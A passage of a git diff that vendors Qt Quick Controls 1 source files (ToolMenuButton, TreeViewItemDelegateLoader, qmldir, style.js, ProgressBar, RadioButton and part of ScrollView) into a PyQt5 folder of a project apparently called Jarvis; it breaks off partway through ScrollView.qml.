files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TextSingleton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qml new file mode 100644 index 00000000..e6fba40c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qml @@ -0,0 +1,127 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.4 +import QtQuick.Controls 1.3 +import QtQuick.Controls.Private 1.0 + +FocusScope { + id: button + + property Menu menu + readonly property bool pressed: behavior.containsPress || behavior.keyPressed + readonly property alias hovered: behavior.containsMouse + + property alias panel: loader.sourceComponent + property alias __panel: loader.item + + activeFocusOnTab: true + Accessible.role: Accessible.Button + implicitWidth: __panel ? __panel.implicitWidth : 0 + implicitHeight: __panel ? __panel.implicitHeight : 0 + + Loader { + id: loader + anchors.fill: parent + property QtObject styleData: QtObject { + readonly property alias pressed: button.pressed + readonly property alias hovered: button.hovered + readonly property alias activeFocus: button.activeFocus + } + onStatusChanged: if (status === Loader.Error) console.error("Failed to load Style for", button) + } + + Keys.onPressed: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && !behavior.keyPressed) + behavior.keyPressed = true + } + Keys.onReleased: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && behavior.keyPressed) + behavior.keyPressed = false + } + onFocusChanged: { + if (!focus) + behavior.keyPressed = false + } + onPressedChanged: { + if (!Settings.hasTouchScreen && !pressed && menu) + popupMenuTimer.start() + } + + MouseArea { + id: behavior + property bool keyPressed: false + + anchors.fill: parent + enabled: !keyPressed + hoverEnabled: Settings.hoverEnabled + + onReleased: { + if (Settings.hasTouchScreen && containsMouse && menu) + popupMenuTimer.start() + } + + Timer { + id: popupMenuTimer + interval: 10 + onTriggered: { + behavior.keyPressed = false + if (Qt.application.layoutDirection === Qt.RightToLeft) + menu.__popup(Qt.rect(button.width, button.height, 0, 0), 0) + else + menu.__popup(Qt.rect(0, 0, button.width, button.height), 0) + } + } + } + + Qml.Binding { + target: menu + property: "__minimumWidth" + value: button.width + restoreMode: Binding.RestoreBinding + } + + Qml.Binding { + target: menu + property: "__visualItem" + value: button + restoreMode: Binding.RestoreBinding + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qmlc new file mode 100644 index 00000000..e7d0bce4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ToolMenuButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qml new file mode 100644 index 00000000..ed9566af --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qml @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +import QtQuick 2.5 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TreeViewItemDelegateLoader + \internal + \qmlabstract + \inqmlmodule QtQuick.Controls.Private +*/ + +TableViewItemDelegateLoader { + id: itemDelegateLoader + + /* \internal */ + readonly property int __itemIndentation: __style && __index === 0 + ? __style.__indentation * (styleData.depth + 1) : 0 + /* \internal */ + property TreeModelAdaptor __treeModel: null + + // Exposed to the item delegate + styleData: QtObject { + readonly property int row: __rowItem ? __rowItem.rowIndex : -1 + readonly property int column: __index + readonly property int elideMode: __column ? __column.elideMode : Text.ElideLeft + readonly property int textAlignment: __column ? __column.horizontalAlignment : Text.AlignLeft + readonly property bool selected: __rowItem ? __rowItem.itemSelected : false + readonly property bool hasActiveFocus: __rowItem ? __rowItem.activeFocus : false + readonly property bool pressed: __mouseArea && row === __mouseArea.pressedRow && column === __mouseArea.pressedColumn + readonly property color textColor: __rowItem ? __rowItem.itemTextColor : "black" + readonly property string role: __column ? __column.role : "" + readonly property var value: model && model.hasOwnProperty(role) ? model[role] : "" + readonly property var index: model ? model["_q_TreeView_ModelIndex"] : __treeModel.index(-1,-1) + readonly property int depth: model && column === 0 ? model["_q_TreeView_ItemDepth"] : 0 + readonly property bool hasChildren: model ? model["_q_TreeView_HasChildren"] : false + readonly property bool hasSibling: model ? model["_q_TreeView_HasSibling"] : false + readonly property bool isExpanded: model ? model["_q_TreeView_ItemExpanded"] : false + } + + onLoaded: { + item.x = Qt.binding(function() { return __itemIndentation}) + item.width = Qt.binding(function() { return width - __itemIndentation }) + } + + Loader { + id: branchDelegateLoader + active: __model !== undefined + && __index === 0 + && styleData.hasChildren + visible: itemDelegateLoader.width > __itemIndentation + sourceComponent: __style && __style.__branchDelegate || null + anchors.right: parent.item ? parent.item.left : undefined + anchors.rightMargin: __style.__indentation > width ? (__style.__indentation - width) / 2 : 0 + anchors.verticalCenter: parent.verticalCenter + property QtObject styleData: itemDelegateLoader.styleData + onLoaded: if (__rowItem) __rowItem.branchDecoration = item + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qmlc new file mode 100644 index 00000000..cf910880 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TreeViewItemDelegateLoader.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/qmldir new file mode 100644 index 00000000..9fe84203 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/qmldir @@ -0,0 +1,37 @@ +module QtQuick.Controls.Private +AbstractCheckable 1.0 AbstractCheckable.qml +CalendarHeaderModel 1.0 CalendarHeaderModel.qml +Control 1.0 Control.qml +CalendarUtils 1.0 CalendarUtils.js +FocusFrame 1.0 FocusFrame.qml +Margins 1.0 Margins.qml +BasicButton 1.0 BasicButton.qml +ScrollBar 1.0 ScrollBar.qml +ScrollViewHelper 1.0 ScrollViewHelper.qml +Style 1.0 Style.qml +MenuItemSubControls 1.0 MenuItemSubControls.qml +TabBar 1.0 TabBar.qml +StackViewSlideDelegate 1.0 StackViewSlideDelegate.qml +StyleHelpers 1.0 style.js +JSArray 1.0 StackView.js +TableViewSelection 1.0 TableViewSelection.qml +FastGlow 1.0 FastGlow.qml +SourceProxy 1.0 SourceProxy.qml +GroupBoxStyle 1.0 ../Styles/Base/GroupBoxStyle.qml +FocusFrameStyle 1.0 ../Styles/Base/FocusFrameStyle.qml +ToolButtonStyle 1.0 ../Styles/Base/ToolButtonStyle.qml +MenuContentItem 1.0 MenuContentItem.qml +MenuContentScroller 1.0 MenuContentScroller.qml +ColumnMenuContent 1.0 ColumnMenuContent.qml +ContentItem 1.0 ContentItem.qml +HoverButton 1.0 HoverButton.qml +singleton SystemPaletteSingleton 1.0 SystemPaletteSingleton.qml +singleton TextSingleton 1.0 TextSingleton.qml +TextHandle 1.0 TextHandle.qml +TextInputWithHandles 1.0 TextInputWithHandles.qml +EditMenu 1.0 EditMenu.qml +EditMenu_base 1.0 EditMenu_base.qml +ToolMenuButton 1.0 ToolMenuButton.qml +BasicTableView 1.0 BasicTableView.qml +TableViewItemDelegateLoader 1.0 TableViewItemDelegateLoader.qml +TreeViewItemDelegateLoader 1.0 TreeViewItemDelegateLoader.qml diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.js b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.js new file mode 100644 index 00000000..844fdbda --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.js @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +.pragma library + +function underlineAmpersands(match, p1, p2, p3) { + if (p2 === "&") + return p1.concat(p2, p3) + return p1.concat("", p2, "", p3) +} + +function removeAmpersands(match, p1, p2, p3) { + return p1.concat(p2, p3) +} + +function replaceAmpersands(text, replaceFunction) { + return text.replace(/([^&]*)&(.)([^&]*)/g, replaceFunction) +} + +function stylizeMnemonics(text) { + return replaceAmpersands(text, underlineAmpersands) +} + +function removeMnemonics(text) { + return replaceAmpersands(text, removeAmpersands) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.jsc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.jsc new file mode 100644 index 00000000..f079143e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/style.jsc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qml new file mode 100644 index 00000000..9171f7d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qml @@ -0,0 +1,167 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ProgressBar + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief A progress indicator. + + \image progressbar.png + + The ProgressBar is used to give an indication of the progress of an operation. + \l value is updated regularly and must be between \l minimumValue and \l maximumValue. + + \code + Column { + ProgressBar { + value: 0.5 + } + ProgressBar { + indeterminate: true + } + } + \endcode + + You can create a custom appearance for a ProgressBar by + assigning a \l {ProgressBarStyle}. +*/ + +Control { + id: progressbar + + /*! This property holds the progress bar's current value. + Attempting to change the current value to one outside the minimum-maximum + range has no effect on the current value. + + The default value is \c{0}. + */ + property real value: 0 + + /*! This property is the progress bar's minimum value. + The \l value is clamped to this value. + The default value is \c{0}. + */ + property real minimumValue: 0 + + /*! This property is the progress bar's maximum value. + The \l value is clamped to this value. + If maximumValue is smaller than \l minimumValue, \l minimumValue will be enforced. + The default value is \c{1}. + */ + property real maximumValue: 1 + + /*! This property toggles indeterminate mode. + When the actual progress is unknown, use this option. + The progress bar will be animated as a busy indicator instead. + The default value is \c false. + */ + property bool indeterminate: false + + /*! \qmlproperty enumeration orientation + + This property holds the orientation of the progress bar. + + \list + \li Qt.Horizontal - Horizontal orientation. (Default) + \li Qt.Vertical - Vertical orientation. + \endlist + */ + property int orientation: Qt.Horizontal + + /*! \qmlproperty bool ProgressBar::hovered + + This property indicates whether the control is being hovered. + */ + readonly property alias hovered: hoverArea.containsMouse + + /*! \internal */ + style: Settings.styleComponent(Settings.style, "ProgressBarStyle.qml", progressbar) + + /*! \internal */ + property bool __initialized: false + /*! \internal */ + onMaximumValueChanged: setValue(value) + /*! \internal */ + onMinimumValueChanged: setValue(value) + /*! \internal */ + onValueChanged: if (__initialized) setValue(value) + /*! \internal */ + Component.onCompleted: { + __initialized = true; + setValue(value) + } + + activeFocusOnTab: false + + Accessible.role: Accessible.ProgressBar + Accessible.name: value + + implicitWidth:(__panel ? __panel.implicitWidth : 0) + implicitHeight: (__panel ? __panel.implicitHeight: 0) + + MouseArea { + id: hoverArea + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + } + + /*! \internal */ + function setValue(v) { + var newval = parseFloat(v) + if (!isNaN(newval)) { + // we give minimumValue priority over maximum if they are inconsistent + if (newval > maximumValue) { + if (maximumValue >= minimumValue) + newval = maximumValue; + else + newval = minimumValue + } else if (v < minimumValue) { + newval = minimumValue + } + if (value !== newval) + value = newval + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qmlc new file mode 100644 index 00000000..aac176b7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ProgressBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qml new file mode 100644 index 00000000..cc191f5b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype RadioButton + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief A radio button with a text label. + + \image radiobutton.png + + A RadioButton is an option button that can be switched on (checked) or off + (unchecked). Radio buttons typically present the user with a "one of many" + choices. In a group of radio buttons, only one radio button can be + checked at a time; if the user selects another button, the previously + selected button is switched off. + + \qml + GroupBox { + title: "Tab Position" + + RowLayout { + ExclusiveGroup { id: tabPositionGroup } + RadioButton { + text: "Top" + checked: true + exclusiveGroup: tabPositionGroup + } + RadioButton { + text: "Bottom" + exclusiveGroup: tabPositionGroup + } + } + } + \endqml + + You can create a custom appearance for a RadioButton by + assigning a \l {RadioButtonStyle}. +*/ + +AbstractCheckable { + id: radioButton + + activeFocusOnTab: true + + Accessible.name: text + Accessible.role: Accessible.RadioButton + + /*! + The style that should be applied to the radio button. Custom style + components can be created with: + + \codeline Qt.createComponent("path/to/style.qml", radioButtonId); + */ + style: Settings.styleComponent(Settings.style, "RadioButtonStyle.qml", radioButton) + + __cycleStatesHandler: function() { checked = !checked; } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qmlc new file mode 100644 index 00000000..8969b581 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/RadioButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qml new file mode 100644 index 00000000..f79cfc8e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qml @@ -0,0 +1,374 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 + +/*! + \qmltype ScrollView + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup views + \ingroup controls + \brief Provides a scrolling view within another Item. + + \image scrollview.png + + A ScrollView can be used either to replace a \l Flickable or decorate an + existing \l Flickable. Depending on the platform, it will add scroll bars and + a content frame. + + Only one Item can be a direct child of the ScrollView and the child is implicitly anchored + to fill the scroll view. + + Example: + \code + ScrollView { + Image { source: "largeImage.png" } + } + \endcode + + In the previous example the Image item will implicitly get scroll behavior as if it was + used within a \l Flickable. The width and height of the child item will be used to + define the size of the content area. + + Example: + \code + ScrollView { + ListView { + ... + } + } + \endcode + + In this case the content size of the ScrollView will simply mirror that of its contained + \l flickableItem. + + You can create a custom appearance for a ScrollView by + assigning a \l {ScrollViewStyle}. +*/ + +FocusScope { + id: root + + implicitWidth: 240 + implicitHeight: 150 + + /*! + This property tells the ScrollView if it should render + a frame around its content. + + The default value is \c false. + */ + property bool frameVisible: false + + /*! \qmlproperty enumeration ScrollView::horizontalScrollBarPolicy + \since QtQuick.Controls 1.3 + + This property holds the policy for showing the horizontal scrollbar. + It can be any of the following values: + \list + \li Qt.ScrollBarAsNeeded + \li Qt.ScrollBarAlwaysOff + \li Qt.ScrollBarAlwaysOn + \endlist + + The default policy is \c Qt.ScrollBarAsNeeded. + */ + property alias horizontalScrollBarPolicy: scroller.horizontalScrollBarPolicy + + /*! \qmlproperty enumeration ScrollView::verticalScrollBarPolicy + \since QtQuick.Controls 1.3 + + This property holds the policy for showing the vertical scrollbar. + It can be any of the following values: + \list + \li Qt.ScrollBarAsNeeded + \li Qt.ScrollBarAlwaysOff + \li Qt.ScrollBarAlwaysOn + \endlist + + The default policy is \c Qt.ScrollBarAsNeeded. + */ + property alias verticalScrollBarPolicy: scroller.verticalScrollBarPolicy + + /*! + This property controls if there should be a highlight + around the frame when the ScrollView has input focus. + + The default value is \c false. + + \note This property is only applicable on some platforms, such + as Mac OS. + */ + property bool highlightOnFocus: false + + /*! + \qmlproperty Item ScrollView::viewport + + The viewport determines the current "window" on the contentItem. + In other words, it clips it and the size of the viewport tells you + how much of the content area is visible. + */ + property alias viewport: viewportItem + + /*! + \qmlproperty Item ScrollView::flickableItem + + The flickableItem of the ScrollView. If the contentItem provided + to the ScrollView is a Flickable, it will be the \l contentItem. + */ + readonly property alias flickableItem: internal.flickableItem + + /*! + The contentItem of the ScrollView. This is set by the user. + + Note that the definition of contentItem is somewhat different to that + of a Flickable, where the contentItem is implicitly created. + */ + default property Item contentItem + + /*! \internal */ + property alias __scroller: scroller + /*! \internal */ + property alias __verticalScrollbarOffset: scroller.verticalScrollbarOffset + /*! \internal */ + property alias __wheelAreaScrollSpeed: wheelArea.scrollSpeed + /*! \internal */ + property int __scrollBarTopMargin: 0 + /*! \internal */ + property int __viewTopMargin: 0 + /*! \internal */ + property alias __horizontalScrollBar: scroller.horizontalScrollBar + /*! \internal */ + property alias __verticalScrollBar: scroller.verticalScrollBar + /*! \qmlproperty Component ScrollView::style + + The style Component for this control. + \sa {Qt Quick Controls 1 Styles QML Types} + + */ + property Component style: Settings.styleComponent(Settings.style, "ScrollViewStyle.qml", root) + + /*! \internal */ + property Style __style: styleLoader.item + + activeFocusOnTab: false + + onContentItemChanged: { + + if (contentItem.hasOwnProperty("contentY") && // Check if flickable + contentItem.hasOwnProperty("contentHeight")) { + internal.flickableItem = contentItem // "Use content if it is a flickable + internal.flickableItem.parent = viewportItem + } else { + internal.flickableItem = flickableComponent.createObject(viewportItem) + contentItem.parent = internal.flickableItem.contentItem + } + internal.flickableItem.anchors.fill = viewportItem + if (!Settings.hasTouchScreen) + internal.flickableItem.interactive = false + } + + + children: Item { + id: internal + + property Flickable flickableItem + + Loader { + id: styleLoader + sourceComponent: style + onStatusChanged: { + if (status === Loader.Error) + console.error("Failed to load Style for", root) + } + property alias __control: root + } + + Qml.Binding { + target: flickableItem + property: "contentHeight" + when: contentItem !== flickableItem + value: contentItem ? contentItem.height : 0 + restoreMode: Binding.RestoreBinding + } + + Qml.Binding { + target: flickableItem + when: contentItem !== flickableItem + property: "contentWidth" + value: contentItem ? contentItem.width : 0 + restoreMode: Binding.RestoreBinding + } + + Connections { + target: flickableItem + + function onContentYChanged() { + scroller.blockUpdates = true + scroller.verticalScrollBar.value = flickableItem.contentY - flickableItem.originY + scroller.blockUpdates = false + } + + function onContentXChanged() { + scroller.blockUpdates = true + scroller.horizontalScrollBar.value = flickableItem.contentX - flickableItem.originX + scroller.blockUpdates = false + } + + } + + anchors.fill: parent + + Component { + id: flickableComponent + Flickable {} + } + + WheelArea { + id: wheelArea + parent: flickableItem + z: -1 + // ### Note this is needed due to broken mousewheel behavior in Flickable. + + anchors.fill: parent + + property int acceleration: 40 + property int flickThreshold: Settings.dragThreshold + property real speedThreshold: 3 + property real ignored: 0.001 // ## flick() does not work with 0 yVelocity + property int maxFlick: 400 + + property bool horizontalRecursionGuard: false + property bool verticalRecursionGuard: false + + horizontalMinimumValue: 0 + horizontalMaximumValue: flickableItem ? flickableItem.contentWidth - viewport.width : 0 + onHorizontalMaximumValueChanged: { + wheelArea.horizontalRecursionGuard = true + //if horizontalMaximumValue changed, horizontalValue may be actually synced with + wheelArea.horizontalValue = flickableItem.contentX - flickableItem.originX; + wheelArea.horizontalRecursionGuard = false + } + + verticalMinimumValue: 0 + verticalMaximumValue: flickableItem ? flickableItem.contentHeight - viewport.height + __viewTopMargin : 0 + onVerticalMaximumValueChanged: { + wheelArea.verticalRecursionGuard = true + //if verticalMaximumValue changed, verticalValue may be actually synced with + wheelArea.verticalValue = flickableItem.contentY - flickableItem.originY; + wheelArea.verticalRecursionGuard = false + } + + // The default scroll speed for typical angle-based mouse wheels. The value + // comes originally from QTextEdit, which sets 20px steps by default, as well as + // QQuickWheelArea. + // TODO: centralize somewhere, QPlatformTheme? + scrollSpeed: 20 * (__style && __style.__wheelScrollLines || 1) + + Connections { + target: flickableItem + + function onContentYChanged() { + wheelArea.verticalRecursionGuard = true + wheelArea.verticalValue = flickableItem.contentY - flickableItem.originY + wheelArea.verticalRecursionGuard = false + } + function onContentXChanged() { + wheelArea.horizontalRecursionGuard = true + wheelArea.horizontalValue = flickableItem.contentX - flickableItem.originX + wheelArea.horizontalRecursionGuard = false + } + } + + onVerticalValueChanged: { + if (!verticalRecursionGuard) { + var effectiveContentY = flickableItem.contentY - flickableItem.originY + if (effectiveContentY < flickThreshold && verticalDelta > speedThreshold) { + flickableItem.flick(ignored, Math.min(maxFlick, acceleration * verticalDelta)) + } else if (effectiveContentY > 